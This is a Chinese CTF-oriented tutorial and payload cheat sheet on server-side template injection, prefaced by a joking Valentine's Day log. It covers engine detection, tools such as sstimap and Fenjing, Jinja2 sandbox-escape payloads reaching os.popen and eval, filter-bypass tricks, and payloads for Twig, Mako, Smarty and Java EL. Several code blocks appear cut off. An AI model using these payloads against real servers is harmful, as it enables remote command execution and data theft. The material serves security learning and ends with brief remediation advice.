情人节.2025-02-14.log
20:00 《我绝对不会碰你》
20:15 《你好香啊》
20:30 《我可以亲你一下吗》
20:35 《好像有点热是不是》
20:40 《要不你把衣服脱了吧》
20:50 《你身体好软》
20:55 《可以抱着你吗》
21:00 《你太迷人了》
21:15 《什么?你也做web?》
21:20 《啊?你今天还没刷?》
21:23 《来,我来陪做》
21:25 《什么?你不知道SSTI?》
21:30 《没事,我帮你看看你的基本功》
21:50 《没事的宝宝,你还不熟悉jinja2》
22:00 《宝宝,我教你用Fenjing》
23:10 《Fenjing都用不明白吗?》
23:40 《不是,你到底会不会web?》
23:50 《ctfshow刷了多少?》
23:55 《你是真的菜啊!》
00:00 《滚出去!》
由于现在都是前后端分离开发,很少用模板来生成网页了,所以模板注入基本只能在CTF中见到
模板是什么
模板是一种web开发中用到的拼接html的技术。以jinja2为例,假设我需要根据下面的html开发一个网页,当用户访问时显示用户的信息。
1 |
|
所有具体用户信息的地方都需要根据用户身份动态返回,此时,可以用占位符代替具体信息,当用户访问时把这些占位符替换为具体的信息即可:
1 |
|
但是这样需要替换四个位置,还是太麻烦了,能不能直接传入一个user对象,直接用对象的属性替换里面的内容
答案是可以,这就是模板引擎所做的事
除了直接使用变量以外,模板还支持一些简单的运算、条件判断、循环操作。每个模板具体实现都不同,但逻辑上都差不多。
模板注入原理
如果用户可以控制模板的内容,那么就存在模板注入。最常见的就是在使用模板的同时拼接了用户的输入:
1 | template = '''<!DOCTYPE html> |
此时传入username为{{2*2}}
,模板引擎在解析的时候遇到{{2*2}}
就会计算并返回4
.
如果传入{{user.password}}
,就可能返回用户的密码
如果能用模板环境下可访问的变量调用命令执行的函数,就能造成命令执行,例如对于PHP的Smarty模板引擎,使用system函数执行命令{system('whoami')}
模板引擎的判断(漏洞检测)
赛题只要标了flask就一定是jinja2
如果flask在debug模式下,搞出点报错来能看到报错信息里有jinja2的字样
报错的时候会显示报错部分的源码,可能有能利用的信息
如果没有提示信息,也可以用不同的payload试一试能不能渲染来判断
绿色箭头代表正常渲染,红色箭头代表报错或没有渲染
例如对于jinja2,开始的${7*7}
不渲染,跟着红色箭头走到{{7*7}}
此时渲染了返回49
,说明模板引擎可能是Jinja2或Twig
更详细的判断方法:
https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
使用工具判断:
https://github.com/Hackmanit/TInjA
把burp里的请求包保存为req
之后执行.\tinja.exe raw -R .\req
默认是https,如果是http协议就加上--http
手动判断:
https://cheatsheet.hackmanit.de/template-injection-table/
输入上面的payload,根据回显的结果筛选,判断模板类型
漏洞利用
sstimap
https://github.com/vladko312/sstimap
1 | python .\sstimap.py -u http://127.0.0.1:5000?username=1 -d password=1 |
支持多种模板语言,但是不能绕过滤。
焚靖
https://github.com/Marven11/Fenjing
只支持jinja2,但可以绕过多种过滤
1 | fenjing webui |
如果注入点在参数里就用第一个,如果注入点在url里就用第二个
例如,对于http://127.0.0.1:5000?username=payload,用第一个,配置如下
对于http://127.0.0.1:5000/path/payload,用第二个
jinja2手动利用
以jinja2为例
1 | from flask import Flask,render_template_string,request |
上面的代码将用户的输入作为模板渲染,所以存在模板注入,可以传参username={{4*4}}
验证(request.values.get
会依次检查GET参数和POST参数,所以传哪种都行)
然后使用python对象的魔术方法去找有命令执行函数的类,常用的魔术方法如下
几个常用的魔术方法:
魔术方法 | 作用 |
---|---|
__class__ |
查找当前对象的类 |
__base__ |
获取类的基类 |
__mro__ |
获取类的所有基类 |
__subclasses__ |
获取类的所有子类 |
__init__ |
对象初始化,一般用来调用__globals__ |
__globals__ |
返回一个当前空间下能使用的模块,方法和变量的字典 |
__builtins__ |
查看当前所有导入的内建函数 |
一般就是__class__
获取随便什么对象的类,用一次或者几次__base__
获取到基类Object,用__subclasses__
获取到基类的所有子类,然后从里面去找命令执行函数。例如,用元组对象的__class__
访问__baes__
得到基类object再调用__subclasses__
查看当前环境下所有可用类:
1 | username={{().__class__.__base__.__subclasses__()}} |
此时会返回一个很长的列表,里面是当前所有可用的类。
拿到当前所有可用的类之后,就从里面找有命令执行函数的类,例如我这里返回的一大堆里有warnings.catch_warnings
:
这个类下面有eval方法可以执行代码,通过代码导入os模块就能用popen执行命令。
复制返回的所有类,确认warnings.catch_warnings
的索引位置,可以复制到vscode里把逗号替换成\n
,行号减一就是索引。
此时可以获取到warnings.catch_warnings
1 | username={{().__class__.__base__.__subclasses__()[231]}} |
再访问__init__.__globals__.__builtins__
就能看到eval函数:
1 | username={{().__class__.__base__.__subclasses__()[231].__init__.__globals__.__builtins__}} |
用eval函数执行代码即可:
1 | username={{().__class__.__base__.__subclasses__()[231].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}} |
常见的命令执行方法有以下几种:
<class 'site._Printer'>
调用os的popen执行命令
1 | {{[].__class__.__base__.__subclasses__()[71].__init__['__globals__']['os'].popen('ls').read()}} |
<class 'subprocess.Popen'>
位置一般为258
1 | {{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} |
<class 'warnings.catch_warnings'>
一般位置为59,可以用它来调用file、os、eval、commands等
1 | #调用file |
都没有也可以写脚本暴破
1 | # 使用 python 脚本 用于寻找序号 |
也可以直接用模板语法自动查找,%要url编码:
1 | {%for(x)in().__class__.__base__.__subclasses__()%} |
hackbar里有几个SSTI的payload,提交前要先url编码一次
jinja2绕过
过滤
用{% print()%}
绕过,
例如
1 | username={%print([].__class__.__base__.__subclasses__())%} |
过滤[和]
会影响数组元素的获取,可以用__getitem__(i)
代替,例如
1 | username={{[].__class__.__base__.__subclasses__().__getitem__(231)}} |
过滤”和’
flask的jinja2模板中能request.args.变量名
直接获取到get传参的username,也可以传参然后获取参数
1 | username={{().__class__.__base__.__subclasses__()[231].__init__.__globals__.__builtins__.eval(request.args.cmd)}}&cmd=__import__('os').popen('systeminfo').read() |
获取方法 | 获取内容 |
---|---|
request.args.变量名 | GET参数 |
request.form.变量名 | POST参数 |
request.values.变量名 | 依次查找GET参数和POST参数 |
也可以从builtins中获取到chr函数再拼接字符串,但是很麻烦,一般不用
过滤.
可以使用中括号当字典取值,例如
1 | username={{()['__class__']['__base__']['__base__']['__subclasses__']()}} |
也可以用过滤器attr绕过,attr就是从对象中取属性:
1 | username= |
过滤_
可以用attr过滤器配合传参:
1 | username= |
也可以用字典取值的方法,将_换成\x5f
或者\u005f
拼接字符串
1 | username={{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\u005f\u005fsubclasses\u005f\u005f']()}} |
关键字过滤
例如过滤class,可以用字典取值的方法,拼接字符串可以不用+
1 | username={{()['__cl''ass__']}} |
编码也可以
1 | username={{()['__cl\x61ss__']}} |
jinja2的拼接符
1 | username={{()['__cla'~'ss__']}} |
jinja2的reverse过滤器,用于反转字符串
1 | username={{()['__ssalc__'|reverse]}} |
join过滤器,类似于list.join,但是拼接的是字典的键
1 | username={{()[dict(__cl=x,ass__=x)|join]}} |
过滤数字
用length过滤器获取字符串长度,大数字可用运算符计算得到
例如231,可以用10*10*2+10*3+1
,10用'tttttttttt'|length
,2用'tt'|length
,3用'ttt'|length
,1用't'|length
,转化一下就是
1 | {{'tttttttttt'|length*'tttttttttt'|length*'tt'|length+'tttttttttt'|length*'ttt'|length+'t'|length}} |
+要编码
放到payload里就是
1 | username={{().__class__.__base__.__subclasses__()['tttttttttt'|length*'tttttttttt'|length*'tt'|length+'tttttttttt'|length*'ttt'|length+'t'|length].__init__.__globals__.__builtins__.eval(request.args.cmd)}}&cmd=__import__('os').popen('whoami').read() |
如果数字很多也可以先赋值再计算,%和+编码过了:
1 | username={%25 set one='t'|length%25} |
其他模板注入的payload
其他模板注入的payload比较固定,不像jinja2需要根据环境构造
Twig (PHP)
1 | #带_self的payload只能Twig1执行 |
Mako(python)
Mako本身就支持执行python代码,类似于直接eval,用<% %>
或者<%! %>
都可以,只是没有回显:
1 | <%!import os;os.popen("calc").read()%> |
${}
是用来显示元素的,有回显,但不能执行多条语句,可以在上面两个标签中把函数执行结果赋值给一个变量,再在${}
里显示
1 | <%!import os;x=os.popen("whoami").read()%> ${x} |
直接用下面这些payload也行
1 | ${__import__("os").popen("whoami").read()} |
Smarty (PHP)
smarty通过$smarty->display来渲染模板,传入的参数默认是文件名,以string:
开头时才按字符串解析
所以如果报错Unable to load template
,就要在payload前面加上string:
,如string:{include file='C:/Windows/win.ini'}
1 | {$smarty.version} |
EL(java)
创建gradle项目:
burld.gradle:
1 | plugins { |
Main.java
1 | package org.example; |
1 | #无回显命令执行 |
1 | // Common RCE payloads |
SSTI (Server Side Template Injection) - HackTricks
漏洞修复
- 禁止将用户的输入作为模板渲染。
- 用沙箱模式运行模板引擎渲染模板。